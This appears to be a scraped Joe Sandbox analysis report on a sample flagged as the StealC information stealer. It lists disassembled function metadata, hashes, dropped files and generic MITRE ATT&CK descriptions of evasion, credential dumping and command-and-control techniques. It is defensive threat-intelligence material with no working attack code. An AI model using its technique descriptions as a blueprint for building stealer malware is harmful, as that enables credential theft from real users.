Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 4bdd6d7b14d30dc6692e34adb518c3739ca41ffab75be9fc6848d9f1a95f3ba1
Instruction ID: 87d5df99230e5f3205cd9f2278f0218e74aac92fd32dad43c7676962dd3de0ae
Opcode Fuzzy Hash: 4bdd6d7b14d30dc6692e34adb518c3739ca41ffab75be9fc6848d9f1a95f3ba1
Instruction Fuzzy Hash: 0CD17F71A04B069FD748CF28C480F99B7F1BF99308F01862DE8598B755EB31A966CBC1

Function 6C475C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C475D40
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C475D67
__aulldiv.LIBCMT ref: 6C475DB4
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C475DED

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b97fe0bc26e3cd9ef1ca21463c5e7e181cd2b7c0b10fa7c624afee9284a9ea46
Instruction ID: 025523aa49d4169a4487f8c746216b58c92c1063d9a259a22adc46c3f7a46bc6
Opcode Fuzzy Hash: b97fe0bc26e3cd9ef1ca21463c5e7e181cd2b7c0b10fa7c624afee9284a9ea46
Instruction Fuzzy Hash: D2517E71E011198FDF18EFA8C994EAEBBB2FB89304F19861DD811A7B50C7707946CB90

Function 6C496470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C4982BC,?,?), ref: 6C49649B

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4964A9

Part of subcall function 6C48FA80: GetCurrentThreadId.KERNEL32 ref: 6C48FA8D
Part of subcall function 6C48FA80: AcquireSRWLockExclusive.KERNEL32(6C4DF448), ref: 6C48FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C49653F
free.MOZGLUE(?), ref: 6C49655A

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: fff009b5af64a9a6987b843dc581aa0763ba4798af4d6c0a437aebb4d925bce9
Instruction ID: 91e6159f3d890ece98cfb7a08e8a5acf0f5a78aaf792e75bb4d1509ac969b880
Opcode Fuzzy Hash: fff009b5af64a9a6987b843dc581aa0763ba4798af4d6c0a437aebb4d925bce9
Instruction Fuzzy Hash: 73315DB5A04315AFD740DF14D884E9ABBE4BF89324F00482EE85A97751DB30E919CBD2

Function 6C46B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C46B4F5
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46B502
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46B542
free.MOZGLUE(?), ref: 6C46B578

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: cdc9783f5defe7ef3ad99a7b6013e14dca123db72fd5ba255b7dd82b8400daff
Instruction ID: a4a5b04c3728fb570e45102437b471139c4050f250a7fb056d29ba9cf485cede
Opcode Fuzzy Hash: cdc9783f5defe7ef3ad99a7b6013e14dca123db72fd5ba255b7dd82b8400daff
Instruction Fuzzy Hash: C511CD30A14B41C7D321EF2AC800FA1B3B1FFA632AF14970AE84953E01EBB0B1C58790

Function 6C45BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C45BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C45BE8F

Strings

0, xrefs: 6C45BE5B

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c596fe5640b32ee1883b00c01f9cc2a217ba1687b4020a073cd204dcd1d6d126
Instruction ID: 8eada5f97fc14c8ede7e7b2581ced2675f67fb497478f8e6fbec2011a033e809
Opcode Fuzzy Hash: c596fe5640b32ee1883b00c01f9cc2a217ba1687b4020a073cd204dcd1d6d126
Instruction Fuzzy Hash: 5C418F71A09745DFC701CF28C481E9BB7F4AF8A348F448A1DF985A7611D731E969CB82

Function 6C493CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C493D19
mozalloc_abort.MOZGLUE(?), ref: 6C493D6C

Strings

d, xrefs: 6C493D58

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: eaee8d42dbc388f96d44e6bf678ef28130484501005453dddbac804f1e8aa01d
Instruction ID: 96e3f018819c5a90c3dccfcdd1a8c35044b2c3948c48d5f947ea991ecfd7e142
Opcode Fuzzy Hash: eaee8d42dbc388f96d44e6bf678ef28130484501005453dddbac804f1e8aa01d
Instruction Fuzzy Hash: 8A11C435E046989BDB01EB69CC24DEDBB75EF87218F45931CDC4997722EB30AA84C390

Function 6C466C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KIl,?,6C494B30,80000000,?,6C494AB7,?,6C4543CF,?,6C4542D2), ref: 6C466C42

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

moz_xmalloc.MOZGLUE(0KIl,?,6C494B30,80000000,?,6C494AB7,?,6C4543CF,?,6C4542D2), ref: 6C466C58

Strings

0KIl, xrefs: 6C466C33, 6C466C41, 6C466C57

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KIl
API String ID: 1967447596-3357514915
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 2e83a8bc406aecc7a9d3be842c683885b353ba4db28f6f04e996d843481f0704
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 47E086F1A10A454B9F08D97AAC09EAA71C88B542ED7044A39EC22C6FCCFA74E5508191

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qlI3ReINCV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGDAK

C:\ProgramData\BFBFBFIIJDAKECAKKJEH

C:\ProgramData\FBFHJJJDAFBKEBGDGHCGDBKJEC

C:\ProgramData\HIDAKFIJJKJJJKEBKJEH

C:\ProgramData\JDGCFBAF

C:\ProgramData\JDGIIDHJEBGIDHJJDBKEHCAAAF

C:\ProgramData\KKFBAAFCGIEGDHIEBFII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
qlI3ReINCV.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre